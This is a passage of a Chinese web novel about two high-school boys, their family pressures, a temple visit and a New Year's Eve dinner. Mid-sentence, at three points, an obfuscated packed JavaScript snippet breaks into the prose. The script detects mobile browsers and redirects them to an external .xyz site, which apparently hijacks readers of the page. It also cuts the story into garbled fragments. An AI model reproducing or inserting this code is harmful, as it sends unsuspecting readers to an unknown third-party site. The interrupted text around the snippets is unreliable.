齐怀生默然片刻。 “我决定的。跟我爸大吵了一架。我说他别想去借钱，也别他妈再去出海，我用不着他的钱。他说我不听他的将来要后悔。一直到去医院看我爷爷。我爷爷知道我俩脾气，当时已经弥留之际，还拉着我爸手说，行了，都够了，没什么对不对的，人生只一次，海神也不能保证你这辈子不会遇到灾难。” 他说着竟露出淡淡的笑。陈向然躺在草地上，仰视着他的侧脸——饱满的天庭、锋利的鼻梁线下颌线。这是他第一次听齐怀生说了那么多。有点明白他的音乐里为什么总带着海风的咸腥和漂流的孤独。那是他的家乡、生活带给他的，与生俱来的。 “我那时还以为，他想说海上危险，让我爸别再去出海了。直到我高一那时候，发现了这个地方。很舒服吧这里？” “嗯。”陈向然半阖着眼。他怕自己在风里就这么睡着，便坐了起来。齐怀生又借出他的肩膀，让他躺着眯会。从遇见齐怀生起，他好像总能让人依靠。 但他却像是从不需要谁、那么骄傲的样子。 齐怀生说：“跟我爸吵多了，被否定得多了，我自己其实也不太信自己了。然后一年前我在林峰寺遇到个刚还俗的师傅，法号叫玄明还是玄慧的，我记不得了。” “他看我一个人来也不领香膜拜，就和我搭讪。我问他当初为什么会选择出家，这是很少人会做的选择。他反问我，为什么很少人会做这种选择？我就说，人随大流，人少意味着很难有更好的生活。他问我更好是什么生活？这里不好吗？我憋半天不知道回答什么，他却笑了。皮肤有些松弛，我猜他大概有五十了。” “离开寺庙的时候都没想明白，不知不觉走到这里，看到这些云，这些山，我们生活的那么大一片区，从这里看，其实就那么小，万物皆浮尘蝼蚁。我想着师傅的话，突然明白我爷爷是什么意思。人生就一次，没有模板，也没有修正的机会，谁也不和谁相同，就像天上永远不会飘过同一朵云。” 他说到这里，扭头看着躺在肩上的人。 陈向然闭着眼睛也感觉到他的目光，和后脑勺温热的摩挲，没有睁开眼，就那么小憩了一会。 没有鲸鱼，没有海怪，没有深海的可怖。噩梦被齐怀生沉沉的讲述声赶跑了。 他问齐怀生：“那不补习，也是你的选择吗？” 摩挲的手停顿了一秒。 “嗯。什么时候能固定驻唱，补习费就能续上。” “要多久？” “不知道。”他拨了拨他的头发，“我爸现在还很警惕，动不动就回来看。” “我借你。”他睁开眼，“之后你去驻唱，再还我，就行了。” “不必。我自己可以。” 阳光穿透云霭，从悬崖边流淌过草坪，他们撤到极巅亭里，倚着刻满经文的红漆亭柱。 “你为我做得够多了。”他在说那些密密麻麻的考点笔记，“我没接受过这么多帮助。都是你给的，我没有给你什么。” “可如果哪天没有你……”陈向然用指尖触碰草尖上的一只瓢虫，等它爬上他的指甲盖，“我也不知道，我能怎么坚持下去。” 24. 疾病 陈向然说这话时，眼神轻飘飘的。瓢虫飞走了，他的目光也随着去了虚空一般。 他的牙尖嘴利、和不真实的笑消失了。在齐怀生眼里，他平时的某些瞬间，能与申恺那种游戏人间的疯癫痴傻重合。这时候垂着鬓发，垂着肩膀，浑身上下都是松垂的，望着远方，柔软得一塌糊涂。 齐怀生的手把住他骨骼突出的肩，像给他力量一样，用力揽了两下。 “中午想吃什么？去我们学校后面吃。” 陈向然从虚空中回神，带着微微的笑意：“这才几点啊。” “敲钟的来了。”齐怀生指指身后。寺庙的撞钟人已经就位，要敲响九点的报时，“回我家，再骑车去石中，要很久。” “那也不需要两个小时吧。” “两位，站远点儿啊。”师傅在擦拭撞钟木，跟他们打声招呼，让他们离钟远点，免得震伤耳膜。 他们在附近游荡，站在巨石上看撞钟报时。等撞钟人完成任务，下坡远去，他们围绕着极巅亭四根红褐色的支柱追逐两圈。又走进亭子里，摸摸铜钟上的浮雕，读课文一样念出柱子上的经文。 下山时太阳已经来到了头顶，影子被揉成深灰色的面团，跟斑驳的树影纠缠在一起。周边的黄绿色渐渐消失了，石板路尽头变成水泥地，他们又回到熟悉的街区。 午餐光临了一家海鲜店。一进门，餐桌烟气弥漫，食客的汤汁摇曳生香。那些虾蟹海蛤用酱汁长时间腌制过，卤香浓度正好，掩盖不住肉质天然的鲜美。 捡张桌坐下，陈向然满含期待地勾选了三道，齐怀生一把夺走他的点餐单，涂去了其中两道。 “别这样嘛，这顿我请。”陈向然伸手抢点餐单。 齐怀生一躲，修长的手臂把菜单高举过头顶：“你再把胃吃坏了。” 抢来抢去，惹得周围侧目。比手长，陈向然从来没有赢过。最后端上来的只有一只梭子蟹，还很小，壳上三个黑色圆斑，像个大几号的蛾子。整只蟹被齐怀生偷了三分之二，他只好骂骂咧咧地蘸上酱油芥末，吃了剩下的蟹膏。 两个人都吃得很慢，牛筋丸子在酱碟里滚了又滚，小心翼翼啃咬，担心酱汁喷薄出来。吃到盘盘碗碗清光了，再多喝几口荞麦茶，谁也不想结束这一天。 吃完回齐怀生家换身衣服，就该回去了。 陈向然把校服从阳台收回来，在屋里直接脱了休闲服，换上校服。齐怀生背对着不看他。直到他说：“我走了。” 齐怀生回身看他——他站在窗边，在白茫茫的日光里扣完最后一颗纽扣。校服宽松地套在他身上，看不出昨晚那种惊心动魄的瘦削。今早在他面前露出的柔软也一洗殆尽。 他送陈向然到门口。 防盗门“咔哒”一关，整间屋子又安静下来。 厨房排气扇忘了关，呜呜地响。 屋子方位不好，白天不比夜晚明亮多少，齐怀生不爱亮灯，省些电费。最明亮的光源是身后厨房的玻璃窗和排气扇。那是东向，柔白的光从扇叶的缝隙倾泻进来，尘埃浮游。 他只拿上火机和一根烟，就出了门。 绕过一条巷来到某家门前，这个防盗门比家里的更加老旧，没装门铃。齐怀生“咣咣”砸了好几下，隔着两道门听到一声：“谁啊”。 门打开，一张憨厚的脸从门里探出来。 “老何。”齐怀生叫他一声。 何晋一下笑开了：“生哥啊，进来吧。” 齐怀生跟着进屋，顺手关上大门。 这片居民楼的格局大同小异，连红木椅、木茶几的陈设都是一样的。何晋去厨房里倒茶。厨房一片茫茫的光雾，勾勒出他蓝色羊毛上的绒丝。 “你知道么？”何晋说，“阿恺最近，行情还越来越好了。真够会的，哥们儿服气。” “他在干嘛？”齐怀生接过热气腾腾的茶杯，放在茶几上。 “这回这个谈了小一月。好家伙，还一中的。他现在要分手了，惹得人女生从市区跑来，校门口站了一天。”他拉着裤管坐下，“后勤的张老师把她送回去的。女孩走的时候把阿恺全家骂遍了，哭得稀里哗啦的。唉呀……” 齐怀生吐了口薄烟，白丝丝的，飘到天花板昏暗的挂灯上。他想起申恺把他放弃海中的事告诉了陈向然。 那小子答应过不提这事，突然食言也是让人意外。 “先不说这个。”他在玻璃缸边敲去烟灰，“你怎么样？没什么大问题吧？” “医生说就是压力太大，要适当调节什么的。”何晋拿起热水壶，咕嘟嘟给自己倒了杯白水，“没事儿，就是入睡前和刚醒的时候，容易有幻听，正常的。” “有什么调节的方法？” “医生说注意作息规律，不要对自己太苛刻什么的。然后最重要的一点是……”他放下手里的杯子，认真地竖起食指，“远离影响源。以前都没发现，我每天作业还没开始写，就烦躁得像条虫。后来发现是我爸整天指东指西地挑刺，翻我旧账，不停问我是不是又想退学。自从我骗他晚上在你家学习，晚点回家，感觉好多了。” 齐怀生：“……不跟你爸沟通一下？” “你跟你爸能沟通啊？”何晋反问，“结果好就行，反正……事儿都是自己的，对吧？我现在也睡得好多了。” 自从被他爸带去工地“体验生活”，何晋就有点不一样了。齐怀生轻扯了下嘴角，又吸了口烟，火星微亮。 “幻听出现的时候，你怎么解决？” 何晋说：“没办法，睡觉咯。跟幻觉和解，接受它，反而让自己平静下来了。” “那要是上课呢？” “上课还幻听？”何晋被水呛了一口，咳了两声，“别的时候出现幻觉，要考虑是不是精神疾病了。或者按医生说的，也可能有过创伤事件。” 齐怀生沉默了一会，重重吸了一口烟？ “那怎么办？” “看医生吃药呗，能怎么办——哎，你怎么了？” 齐怀生这根烟抽得很快。 医生的建议有效，但光是调节作息，陈向然便不可能照做了。他不可能在周围人起床读书写作业的时候不为所动。 烟雾越来越浓，越来越汹涌。连何晋这样的烟鬼也愣住了，但他没说什么，默默把能开的窗都推开了。 烟头快烫到手了，齐怀生才舍得把它碾灭在烟灰缸里，吐出最后一口。 然后伸手问他再要一根。 陈向然火速绕进宿舍楼。一楼的宿管头上盖着报纸遮光，睡得正香，他悄步躲过，顺利上了楼，关上宿舍门。 宿舍里只闻风声，阳台外的天飘着淡淡的橙黄。已经是傍晚了。 一切温度和吵闹都隔绝在街道的另一头。宿舍里很冷，白色砖墙发潮、发黑，阳台角落有个低矮的铜色水龙头，周围蔓延着黄绿色青苔。学校的气息开始占据大脑时，他才发现自己对上学有多么厌倦，甚至厌恶。 好在还有齐怀生讲的那些古老的故事，执拗地、温柔地、也摇摇欲坠地支撑心里的一角。 他掏出手机，打开来电记录，密密麻麻二十来个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301943|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未接电话。他拨出林岚的号码——在山上的时候他就已经作出一个决定，今天就要和林岚说清楚。 忙音只响了三下，他又挂掉了电话。 他发现自己又进入某种循环。 不愿林岚伤心，因为她这么多年不容易。但他想做的任何事似乎都会令她为难，她诉说自己的劳累，然后陈向然让步，一切如常。他无论做什么、怎么想都不会正确，不会有结果，日复一日在这样的循环中。 电话刚挂，那边好像一直守着电话似的，很快拨了回来。铃声响起，陈向然迟疑了一段副歌，才接听起来。 “喂妈——” “向然，对不起啊，对不起，妈妈给你道歉。” 林岚声音沙哑，有鼻音，带着比平时更多的疲惫。陈向然愣了。 “妈妈应该事先和你说的。妈妈道歉，但是你不能不接电话，好吗？” 那二十来个未接来电，全是林岚的。都是在陈向然下午放学后打来的。海中的作息时间林岚了如指掌，这两天周末，打得尤其多。 头两个电话没接，是陈向然心里有气，后来纯属是错过了。这两天又和齐怀生在一起，有时干脆将手机丢到了一边。 他愣着沉默。林岚接着说：“然然你不知道，学艺术太辛苦了。妈妈只有你一个孩子，咱们安安稳稳的就好了，别走太远。能规规矩矩过一生就是最大的幸福了。你现在不懂，有些事听听妈妈的，将来才不会后悔，知道吗？” 他怎么可能不懂？ 齐怀生讲的古老故事又在心里回荡。谁也不知何处才是安稳，谁也不知哪条路才是活路。 “知道，妈。”他这么说。 “比赛好好参加，到时拿个北京学校的降分，读个金融专业，把职业证考到手，一切就妥了。妈妈在证券公司有熟人，你一辈子都不用愁。你喜欢画画，以后还可以学，妈妈支持你的爱好。” “知道了，妈。”他还是这么说。 原来林岚已经为他设想了那么远的路。她总是这样温言相劝，带着疲惫和倦弱。好像只要这么计划好，他的一生都会像城墙一般稳固。 她很强，工作起来雷厉风行，领袖做派，在互联网公司已经当了多年主管。但自她离婚以后，却又总是像这样，担惊受怕的样子。 母子聊得不久。林岚连时间的掌握都是精确的，不会有多余的寒暄。确认与他沟通成功的时候，就差不多该挂电话了。 走廊上行李箱的声音骨碌碌由远及近。程希回来了，“砰”地撞开虚掩的宿舍门。他一进来，看见陈向然，状似沧桑地叹了口气：“熊大想找你呀。” 他在说陆引。 “怎么了？” “我和他说你不艺考了，原因也说了，说你不参加会处分进档案，他也理解。但他想找到你，说他承诺过要和你探讨一幅油画。” 陈向然差点忘了，那幅花蝶还在陆引的画室里。 他没有正面回答程希，从柜子里掏出钱包，取了些现金。 “哇哦，你那么多钱呢。”程希凑过来，两眼放光，“哼，我爸就从不让我支配这么多钱。你这是要抽多少？二、四……一个月的培训费，你要回去继续画吗？” “熊大不放假？” “嗐，你看我这脑子。”程希猛拍脑门，“期末了过年了放寒假啦！哎不对，那你拿这么多钱干嘛？充饭卡也不用这么多吧。” 陈向然看着他猴一样蹦，嘴里机关枪似的蹦出一堆闲话。 他什么也没说，把钱折了两折，关上柜门。 25. 寒假 学校的寒假历来不长，从除夕开始一共七天。林岚向来比陈向然更快知道学校划定的放假时间，很早便打了电话来。 陈向然接到电话，就知道她会说什么了。考试、背书、时间安排、努力，话题里至少占那么一样。 “这次是拿了第几来着？” 自从上次林岚确定他断了艺考培训的念头，对他的成绩看得愈来愈紧。 “第三。”苦读一学期，陈向然这次终于没有负担地说出名次，“进步十五名呢。这次自己押的题，挺准的。严老师的补习有用，我这次化学……” 他第一次对林岚说这么多话，这么期待来自母亲的褒奖。想起小时候画了第一幅满意的画拿给林岚，也是这样的心情。 “噢，第三啊……”林岚的声音听不出起伏，“那第二是谁啊？” “潘千慧，我们班长。” “第一呢？” “刘永凡。” 林岚叹了口气，好像把心都叹到谷底里去了。 小时候被没收了画，这个向来风风火火的女人说，为何不好好练习那么多花钱学习的才艺，却练这种不能拿奖的。 类似的言语还有很多很多。毕竟他总是痴迷于一些无用的事情。 “噢你同桌啊。”林岚总是记得班里成绩前几的那些名字，“你俩在教室里坐的同一个地方，为什么别人能保持领先，你自己是不是应该好好想想？你现在在年级里，连前二十都挤不进去，你要怎么实现下一阶段前十的目标？你要明白你不是在一个学校里比，去年全省高考一共是七十五万人，七十五万人的竞争，你明白吗？自己要好好反思、警醒，别总是想着玩儿。等你考上大学，你有的是时间去玩，听到了吗？” “嗯。” “下一场大考就是期末了，期末一直是你们年级各科组长命题，要比月考更重视。有能力就要……” 鲸鱼如期而至。 它分明在海里，却像是游进一个拥挤的玻璃缸，发了疯一样在海里逃窜，撞得头破血流仍没放弃。 直到幻影破碎，他听见林岚说，过年期间她有项目要谈，在外出差，尽量赶在他寒假结束前回来。 “留宿期间没有学校督促，学习要自觉，知道了吗？” “嗯。” 他默默听完林岚单方面的“广播”，应声说“嗯”或者“知道了”。电话是对面挂断的，话音才落，急促地“嘟”一声，忙音都不剩下。 他举着手机一动不动，看着宿舍里斑驳发黑的漆墙发愣。 除夕这天他没有按林岚说的办理留宿。学校太空，太冷，宿舍太暗，太狭小，他想找点有人烟的地方待。 下午了天还是灰暗的。他打包收拾行李，最后一个和保安大叔道别，走出了校门。 枯叶离开枝头，被风送往远方。他拉着箱，冒着漫天飞旋的叶雨拐进后街。除夕当天整条街店铺关闭。他第一次面对巷头酒吧的店位看不到色彩，从上到下只有卷闸门的灰黑。朝巷里探个头，侧门还敞着，门口堆了些纸箱，店里有光、有人。 还好，这顿有着落了，他欣喜地走进去。 谭持在吧台旁翻着抹布擦手，听到有人进来，便抬了一眼，眼睛逐渐亮起来：“陈向然，我以为你回去了。” “来你这借宿几天，方便？”陈向然把行李从门外拉进来。 “那恐怕要委屈你了。旧床，好久没人用了，用着响。” 陈向然走进店深处，才发觉这里有些杂乱。满地交错的电线，小舞台多了些旧音响和刚拆封的新话筒，想起门外那些纸箱。 “这是？” “这些啊。”谭持从身后走来，“原来的话筒泼了酒水，我买了个新的。音响设备小齐说是同学家里换新的，他把旧的要来了。连原装的包装箱都一起拖来了。他……” 齐怀生？ 他卸下书包，奔到门口张望。窄巷很静，常年潮湿，有路过的人踩过的水声。 他以为能看见某个熟悉的身影从某一个方向回来，左右没等到。连头顶杂乱的电线、衣衫被单都看了一遍，好像他会从楼上的窗户蹦下来一样。 原本想好了，齐怀生过年应该是要回老家的。被挑起一丝希望后，还是有些说不出的失望。 再转身，“咚”地撞进人怀里。 神奇的是他往后一趔趄，对方却有防备似的动也不动。 “找谁呢？”齐怀生挑起一边眉峰，声音里隐隐有嘲笑。 陈向然愣了一会才反应过来，摸摸碰疼的肩骨：“生哥这么爱捉迷藏？” “我在屋里写歌。” “写歌？” “嗯。今天我跟谭哥上夜班。等到半夜，人会比白天多，你信不信？” “是么……”他尾音下坠，只觉得对方在逗人。忽而想起随身带着的钱。期末前一周没见着他，没机会把钱递到他手中。 他掏出钱递了出去：“这个，给你准备的，一学期的补习费，你看着用。” 齐怀生掩不住讶异，怕被谁看见似的，回头瞟了一眼谭持，把钱摁回给他，小声说：“不用的，谢谢了。” “可不是给你。”陈向然又塞回去，“你要高三了，周转一下，你补习才不会落下。” “这就高三了？早着呢。” “不早，时间——” “你俩站门口干嘛？进来说话。”谭持在吧台后喊他们。 齐怀生趁机给他塞了回去，转身进屋。 他说他写歌。陈向然便不跟去打扰他，扶着一张靠背椅，一下一下翘起椅脚，再轻轻落下。 时间一分一秒地走过。他午餐没吃，空着肚子咕噜噜叫，就跟谭持讨点蛋糕吃。 这时里屋的门帘被撩开：“还不进来？” 他蠕动着腮帮咀嚼，刚一口啃了半个，嘴边都是蛋糕屑，“唔唔唔”地说不出话。 齐怀生：“……吃完进来。” 陈向然第一次看到酒吧的里间。 和外面的装修风格完全不同，不如说是没有装修。墙极不均匀地漆成纯白，墙角摆了个铁架子，还有镂空的长木椅、茶几，和一台用凳子垫起来的小电视。左边的门锁了，是厨房和酒藏室。右边是个小卧室，床头一扇窗，金黄色的碎花窗帘染了灰，许久没洗的样子。被子枕头也是碎花纹，上面还残留一点温度。 齐怀生往床板上一坐，嘎吱一声。抱起他的吉他。 “你一个人么？”陈向然问。 “我爸在家，晚上得回去吃饭。” “你爸在，你怎么上夜班？” “半夜再溜呗。”他随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301944|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地弹了一小段，狭小的空间里回音飘旋。齐怀生的音律是会流动的水，陈向然浸在其中，隔绝了外界，悠悠荡荡，内心莫名有一丝被包裹、保护起来的安全。 “你嘞？”齐怀生停下拨弦的手，调调音准，“今天不是开始放假了？” “嗯。” “不回家啊？”他拍拍琴板，抬起视线，盯了陈向然一会，猜到什么似的说：“家没人？” 陈向然没有说话，目光飘忽地落在他的琴弦上，嘴巴紧紧抿成一条线。 “行吧，没人就跟着我。”齐怀生往边上挪挪，拍拍床板让他坐下，“来，刚写的新歌，你给参谋参谋。” 陈向然垂着眼坐下，乐声叮咚响起。 冬天的黄昏来得早，四五点时分，窗帘轻飘，窗前的光颜色变得浓郁，从窗台、床头、和床上的碎花被褥蔓延而来，齐怀生和他的吉他在光晕中时隐时现。夕阳是个有才的画家，给他恰到好处地涂了一层老胶片的色彩。曲子时而流淌，时而跳跃，他不自觉地凝视齐怀生的脸，和他吐露歌声的嘴唇。 这是林岚在外出差的不知第几个年节了。上次是去年，而头一次在八年前。大约是那时候起，父亲没有再出现过。林岚也几乎不着家了，却在电话那头对他百般关注。他隐约感到这样的关注和从前不同了。那些“我很累”、“都是为了你”、“你要努力”，像一块巨石压在胸口上。 齐怀生又尝试了新突破，那天他们在山上听到的唱经声被他融入了伴奏中。于是他想到，是那天的景色让他有了创作的新灵感。 他听完了一曲，前后只两分钟，是未完成品。齐怀生问他感觉怎样，他只说“等一下”，去外面大厅拿来他的画纸和彩铅。 三勾两画，画纸上便出现一个很小的轮廓。周围填上绿色，大片大片的翠浪圈画出街区的模样，再点缀少许砖红色。近处有个大铜钟，占去三分之一画纸，顶部的神兽蒲牢四爪并拢，正襟危坐，目光炯炯，好像随时会蹦下山去一般。 他把简单的涂画放到齐怀生面前，期待地看着他。 “好景。”他啧啧两声，“可惜没有人。” 陈向然取回来，在画中央主视觉处，添了两个细如点状的人影，坐在草根飘摇的土坡上。 “这么敷衍？”齐怀生刻意逗他。 “好看就夸，不好看拉倒。” “好看。”齐怀生点点头，拿过画纸，“你的画都好看。” “那幅海兽也好看？”陈向然故意问，“很酷，对吧？” 齐怀生没出声，只端详着画上淡淡的色彩，青山、红厝、黄土，和两个淡淡的灰影。那些草和叶像是会动一样，都往一个方向飞扬。 “明亮亮的，多好……”他很低很低地说，声音沙沙的，话语模糊地闷在喉底，“至少不让人担心……” 陈向然朝他凑近一尺：“担心什么？” “没什么。”他把画卷起来，“我能收下？” “归你了。”陈向然说，“就当这几天的借住费。” “……” 齐怀生扭头，凑近了，盯住他，缓缓开口说：“谁说，你可以在我那借住了？嗯？” “是你说的，可以跟着你啊。”陈向然目不转睛地回视，假笑似的咧嘴，“你都这么说了，那我就跟定你了。” 26. 旧画 一盆菠菜倒入圆底大锅，“滋啦”一声，油水喷溅，烟雾蒸腾。油烟机常年熏油，表面的钢旧得发黄。此时呜呜地发出噪音。 齐怀生刚回家，关了两扇大门，进厨房叫了声爸。没有其它话，视线也半点没放他身上。他钻过齐卫平和碗盘架之间的狭小缝隙，还没打开冰箱。就瞥见水槽里放着解冻的肉片，上面铺满了碎冰晶。 每年的除夕夜都是一样的菜式，没有人去精心准备。 冰箱边还有个淌着水珠的泡沫箱，敞着盖，里面是空的，冒着一股海产的腥气。 “带了鱼回来？”齐怀生打开冰箱，拿了饮料。 “过年，剩下一点不卖。” “远海鱼不好卖直说。” “我说是近海，就是近海。” “您倒是敢这把年纪去远海。” 他摔上冰箱门离开厨房。齐卫平掌着锅铲，戳在一锅绿叶中，斜眼看见他手上抱了两罐，叫住他：“有客人？” 他回头瞥了一眼：“带朋友回来。” 齐卫平眉心都皱起来，“铿”一敲锅铲，抬高声音：“又是什么朋友？老是跟你说学习学习，少做其它闲事，少跟那些乱七八糟的来往。那些都是不要前途的，你他妈得要！” 齐怀生对这样的言语习以为常，闷闷地回了一句：“我爱和谁和谁。” 像是没有任何情绪一样，磋磨着拖鞋回房间了。 他“吱呀”推门，房间里盈满金红色的余晖。窗前书桌是陈向然的背影，镂空的书架将老式台灯、泛着锈褐色的格子桌布和桌上随意摞起的书堆切出片片光影。架上有些旧书常年积灰，尘埃散在光里。 微风入室，陈向然的校服宽松地起伏着。 齐怀生走过去，坐上桌角，饮料摆在他面前：“要哪瓶？” 陈向然扭头看他，视线下移看见饮料，笑了一笑，随手开了一瓶：“不跟你爸解释一下？” “你想我解释？” “也不是。但我好像应该……去打个招呼。”陈向然站起来。 “没必要。”齐怀生这么说着，也没有拦他。兀自灌一口汽水。 陈向然走出房间，齐卫平正好从厨房里端菜出来，有熟炒的，也有下火锅的生肉片、番茄、肉丸子。无意间对上视线，都张着嘴不知道说什么。 齐卫平走起路来沉重、迟缓。脸上皮肤黝黑，眼白浑浊，看着有些年纪了，眼神却锐利得令人却步。那张脸被风浪侵蚀了大半辈子，纹路幽深，凹凸不平。额间还有一道黑白分明的刻线，左右下颌各一块勒出来凹陷，是常年戴草帽的痕迹。 陈向然先打破尴尬：“齐伯伯好，我叫陈向然。”顿了一顿，补了一句：“齐怀生的朋友。” 齐卫平放下烟气腾腾的菜盘，看到他胸前的帆船校徽，手顿了一顿，脸上的皱纹微微舒展：“你好小同学，叫我平伯就好啦。”他迟疑了一下，又看了一眼校徽，声音都柔和下来，供着一样小心翼翼问：“信海的学生啊？” “嗯，是。” “怎么啦？除夕不回家吗？”他竟笑了，冷峻的容颜变得慈爱。 “家里没人，齐怀生留我。”陈向然挠挠头，“打扰平伯了。” “哎，不打扰。那小子，整天跟些狐朋狗友混，总算啊，能有个像样的同学。”齐卫平张罗着电磁炉，声音里都有了过年的喜悦似的，“还好还好，我啊，今晚准备得多，你尽情吃，啊，包你吃饱。去吧，把阿生也叫出来。” “嗯，谢谢平伯。” 陈向然便趿拉着大拖鞋回房，齐怀生坐在椅子上，一条腿踩着椅腿杠，一条腿伸得老长，无聊地翘着椅子，眼睛一直盯着门口。 齐怀生“啧啧”打量他：“长辈当前，挺能装乖啊。” “是你爸人好。” “因为你成绩好，明白么？” 陈向然倚着房门，想到林岚也喜欢夸刘永凡，便理解了。但她和齐卫平大约不同，齐卫平看着他时，也不像在看一个要儿子踢掉的路障。 他走到齐怀生身边，夺过他的饮料：“走不走啊，吃饭了。” 齐怀生嫌弃道：“啧，反客为主啊你？” 三个人围在一起吃了顿年夜饭。 锅炉里的水汩汩沸腾。齐怀生主动涮肉，羊肉片在滚沸的水里从红白色变成棕色，再渐渐拧出褶来。前后不到十秒，捞将起来——放进陈向然的碗里。陈向然的视线随肉移动，一落进豆酱里，他立马伸出了筷子。饭桌上没人说话，只有火锅的汩汩声和陈向然的咀嚼声。 棕灰色肉片落进豆黄色的酱汁，滚搅在一起。 “叮”、“叮”，齐卫平轻敲了两下碗，两眼斜视。 “不会孝敬老子？” 陈向然噎了一下，抬眼瞄齐卫平的神色，埋怨，还有一丝捉弄儿子的意思。但齐怀生不接招，不反驳，给他煮了两片番茄。随后放下了勺。 “哦，就番茄啊。”齐卫平便瞪他一眼：“懒不懒？” “爱吃什么自个儿涮去……”齐怀生又给他多涮了两片番茄，两手一甩，搁腿上，向后仰躺。 陈向然看眼齐怀生，又看着齐卫平——他自己又涮了好几片番茄，放进碗里，再撒上点砂糖，两片叠放到一起塞进嘴里。 齐卫平就爱吃番茄，还讲究，得加糖。陈向然想。 说是过年，也没人开电视。电视很厚，很旧，齐卫平说是电线老化了，看不了春晚。 这对父子很有意思。陈向然想。 沉默、骄傲，各过各的，极偶尔地，象征性抱怨对方两句，当做问候。但他们之间好像有某种默契，有些共同经历的、不被提起的东西。 一顿火锅涮涮停停，吃了一个小时。陈向然洗完澡，齐怀生给的白毛巾撂在脖子上。轮到齐怀生了。齐卫平像个踩点的小偷似的，从厨房门口瞄见儿子进了浴室，听见水泵哗哗响，便伸手扬了扬。 “那个……小同学。” 陈向然疑惑回头，齐卫平笑出一脸褶子来：“来，平伯和你说两句话？” 厨房水声哗哗，齐卫平两只手沉进泡沫成堆的水槽里。那双手也很粗糙，有很多被缆绳磨出的茧子，虎口还有疤痕。这是一双渔民的手。 “你和阿生，什么时候认识的呀？” “几个月前。我刚来这边上高中。” “噢，那你要小个一岁啊。”齐卫平把抹了洗洁精的盘子放到龙头下冲洗，水开得更大，快要盖住话音，“那他平时都在干什么呀？是不是不学了，成天——” “没有的事，平伯。”陈向然笑着摆手，“他成绩很好，一直考的第一。” “石中的第一啊，就上个一本。哪能和你们学校比的。我前不久去他们学校家长会，才知道这小子课都敢逃，被我抓到在酒吧里弹吉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301945|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还他妈敢顶嘴。唉。” “他妈妈去世后就没人管他，我也不能看着他呀，我跟他了，谁给他挣学费呀？这小子又想法太多，想一出是一出。本来挺聪明一孩子这可怎么办呢？” “信海都考上了，告诉我他不读，学费贵。臭小子就是想着玩，石中纪律宽松，他不就这么想么？” 齐卫平“呵”一声，把冲洗好的湿哒哒的盘子摞放在一边。 “齐怀生他……可能是为您考虑。”陈向然想起齐怀生讲的那些关于海上的凶险。 “他要是为我考虑，那时候考上信海，就该给我乖乖去读，不给老子添堵。你说是不是这个理儿？” 陈向然想说信海的学费年年在涨，齐卫平一个人撑不起那样的学费。再说下去就要涉及人家家事了，他只能闭口。 “那个……陈向然？是吧？”齐卫平停下手里的活，关了水龙头，厨房霎时安静下来。齐卫平凑在他旁边小声说：“向然啊，你帮平伯个忙，他要是没有学习，在外游手好闲或是弹吉他，就替我说说他，好吧？学习上帮帮我们阿生。阿生还没有带哪个同学回家过，几年了你是第一个。你在学校寄宿，这吃的睡的条件肯定差一些，有什么需要，跟他说，那小子别的不行，有时候挺会照顾人。” “嗯，会的平伯。” “他要是犟，不听劝，你就告诉平伯。” “嗯。”陈向然笑笑。 齐卫平说完悄悄话，满意地继续刷碗。水龙头开起来，水柱哗哗地冲进泡沫堆。 陈向然经过哗哗响的浴室门口，看了眼门上晃动的人影，推门进卧室。 纱帘轻轻扬起，波浪一样飘动。 窗外万家灯火。有几家溢出了电视声。楼下闪着招牌灯的大排档在唱卡拉OK，唱的是闽南话。喝彩、掌声、话筒扩音响彻整条老街。陈向然听来听去，只听懂了一首《爱拼才会赢》。 他把窗关上，只留了一条缝隙，坐在齐怀生的书桌前，摸摸粗糙的格子桌布，看着他桌上的学习资料，偷偷翻了几本。大部分是写完的，题型很多和高考对不上。 齐怀生说，谁也不知哪条路是对的。 那天看了齐怀生的笔记，冗杂繁密，大海捞针，没有针对性。但，齐怀生学会了很多陈向然没接触过的知识点。按理说，他涉猎面更广，学习能力更强。可分数来看，齐怀生现在很难超过他了。他想不懂，真正的“学习”应该是什么样。 不知不觉，他也在用“有用”和“无用”评价一些事物了。 他把齐怀生的册子摞好。 起身的时候，膝盖撞到面前的抽屉。桌子太老了，抽屉一下松出条缝来。 台灯昏黄的光映在抽屉里的东西上，陈向然眼前一亮，那是油彩，黑、灰、夜蓝、明黄，抽屉里放了一幅画。 他像个半夜入户的小偷一样，朝身后望了一眼，浴室里还有水声，齐卫平在客厅不知和谁打电话拜年。 抽屉拉开。 半平米大的纸张，描绘一个没有月光的漆黑夜海，天空的闪电、云层、风雨，张牙舞爪如鬼神横行，海面是被撕破的、动态的画面。左下角有个简笔鱼的标志。 